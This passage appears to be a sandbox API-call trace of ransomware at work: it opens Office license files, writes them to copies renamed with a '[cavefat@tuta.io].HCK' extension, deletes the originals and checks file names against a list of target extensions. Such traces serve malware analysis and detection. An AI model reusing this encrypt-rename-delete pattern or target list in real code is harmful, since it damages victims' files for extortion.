office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 0x220 [0242.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.326] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.326] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.327] GetLastError () returned 0x0 [0242.327] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0242.328] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0242.329] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.329] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0242.329] SetEndOfFile (hFile=0x548) returned 1 [0242.329] CloseHandle (hObject=0x548) returned 1 [0242.329] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.329] SetEndOfFile (hFile=0x544) returned 1 [0242.331] CloseHandle (hObject=0x544) returned 1 [0242.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms")) returned 1 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString=".doc") returned 4 [0242.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString=".docx") returned 5 [0242.333] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.333] lstrlenW (lpString=".pdf") returned 4 [0242.333] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString=".xls") returned 4 [0242.333] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString=".xlsx") returned 5 [0242.333] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.333] lstrlenW (lpString=".ppt") returned 4 [0242.333] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString=".zip") returned 4 [0242.333] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString=".rar") returned 4 [0242.333] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString=".bz2") returned 4 [0242.333] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString=".7z") returned 3 [0242.333] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString=".dbf") returned 4 [0242.333] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString=".1cd") returned 4 [0242.333] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString=".jpg") returned 4 [0242.333] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.333] lstrlenW (lpString=".doc") returned 4 [0242.333] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString=".docx") returned 5 [0242.334] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.334] lstrlenW (lpString=".pdf") returned 4 [0242.334] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString=".xls") returned 4 [0242.334] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString=".xlsx") returned 5 [0242.334] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.334] lstrlenW (lpString=".ppt") returned 4 [0242.334] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.334] lstrlenW (lpString=".zip") returned 4 [0242.334] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString=".rar") returned 4 [0242.334] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString=".bz2") returned 4 [0242.334] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString=".7z") returned 3 [0242.334] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.334] lstrlenW (lpString=".dbf") returned 4 [0242.334] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.334] lstrlenW (lpString=".1cd") returned 4 [0242.334] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms") returned 75 [0242.334] lstrlenW (lpString=".jpg") returned 4 [0242.334] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.334] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.334] lstrlenW (lpString="MondoR_SubTrial-ppd.xrm-ms") returned 26 [0242.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.335] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26525) returned 1 [0242.335] CloseHandle (hObject=0x544) returned 1 [0242.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 0x220 [0242.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.336] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.336] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0242.468] GetLastError () returned 0x0 [0242.468] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x679d, lpOverlapped=0x0) returned 1 [0242.471] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x67a0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x67a0, lpOverlapped=0x0) returned 1 [0242.472] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.472] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x108, lpOverlapped=0x0) returned 1 [0242.472] SetEndOfFile (hFile=0x3c4) returned 1 [0242.472] CloseHandle (hObject=0x3c4) returned 1 [0242.472] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.472] SetEndOfFile (hFile=0x544) returned 1 [0242.474] CloseHandle (hObject=0x544) returned 1 [0242.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-ppd.xrm-ms")) returned 1 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString=".doc") returned 4 [0242.478] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".docx") returned 5 [0242.478] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.478] lstrlenW (lpString=".pdf") returned 4 [0242.478] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".xls") returned 4 [0242.478] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".xlsx") returned 5 [0242.478] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.478] lstrlenW (lpString=".ppt") returned 4 [0242.478] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString=".zip") returned 4 [0242.478] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".rar") returned 4 [0242.478] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".bz2") returned 4 [0242.478] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".7z") returned 3 [0242.478] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString=".dbf") returned 4 [0242.478] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString=".1cd") returned 4 [0242.478] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString=".jpg") returned 4 [0242.478] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.478] lstrlenW (lpString=".doc") returned 4 [0242.478] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".docx") returned 5 [0242.478] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.478] lstrlenW (lpString=".pdf") returned 4 [0242.478] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.478] lstrlenW (lpString=".xls") returned 4 [0242.478] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString=".xlsx") returned 5 [0242.479] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.479] lstrlenW (lpString=".ppt") returned 4 [0242.479] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.479] lstrlenW (lpString=".zip") returned 4 [0242.479] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString=".rar") returned 4 [0242.479] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString=".bz2") returned 4 [0242.479] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString=".7z") returned 3 [0242.479] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.479] lstrlenW (lpString=".dbf") returned 4 [0242.479] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.479] lstrlenW (lpString=".1cd") returned 4 [0242.479] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-ppd.xrm-ms") returned 76 [0242.479] lstrlenW (lpString=".jpg") returned 4 [0242.479] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.479] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.479] lstrlenW (lpString="MondoR_Trial-pl.xrm-ms") returned 22 [0242.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.480] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11139) returned 1 [0242.480] CloseHandle (hObject=0x544) returned 1 [0242.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 0x220 [0242.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.481] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.481] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0242.482] GetLastError () returned 0x0 [0242.482] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0242.483] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0242.484] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.484] WriteFile (in: hFile=0x3c4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x100, lpOverlapped=0x0) returned 1 [0242.484] SetEndOfFile (hFile=0x3c4) returned 1 [0242.484] CloseHandle (hObject=0x3c4) returned 1 [0242.484] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.484] SetEndOfFile (hFile=0x544) returned 1 [0242.488] CloseHandle (hObject=0x544) returned 1 [0242.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-pl.xrm-ms")) returned 1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.489] lstrlenW (lpString=".doc") returned 4 [0242.489] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString=".docx") returned 5 [0242.489] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.489] lstrlenW (lpString=".pdf") returned 4 [0242.489] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString=".xls") returned 4 [0242.489] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString=".xlsx") returned 5 [0242.489] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.489] lstrlenW (lpString=".ppt") returned 4 [0242.489] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.489] lstrlenW (lpString=".zip") returned 4 [0242.489] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString=".rar") returned 4 [0242.489] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString=".bz2") returned 4 [0242.489] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString=".7z") returned 3 [0242.489] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.489] lstrlenW (lpString=".dbf") returned 4 [0242.489] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.489] lstrlenW (lpString=".1cd") returned 4 [0242.489] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.489] lstrlenW (lpString=".jpg") returned 4 [0242.489] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.490] lstrlenW (lpString=".doc") returned 4 [0242.490] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString=".docx") returned 5 [0242.490] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.490] lstrlenW (lpString=".pdf") returned 4 [0242.490] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString=".xls") returned 4 [0242.490] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString=".xlsx") returned 5 [0242.490] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.490] lstrlenW (lpString=".ppt") returned 4 [0242.490] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.490] lstrlenW (lpString=".zip") returned 4 [0242.490] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString=".rar") returned 4 [0242.490] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString=".bz2") returned 4 [0242.490] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString=".7z") returned 3 [0242.490] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.490] lstrlenW (lpString=".dbf") returned 4 [0242.490] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.490] lstrlenW (lpString=".1cd") returned 4 [0242.490] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-pl.xrm-ms") returned 72 [0242.490] lstrlenW (lpString=".jpg") returned 4 [0242.490] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.490] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.490] lstrlenW (lpString="MondoR_Trial-ppd.xrm-ms") returned 23 [0242.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.491] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=26585) returned 1 [0242.491] CloseHandle (hObject=0x544) returned 1 [0242.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 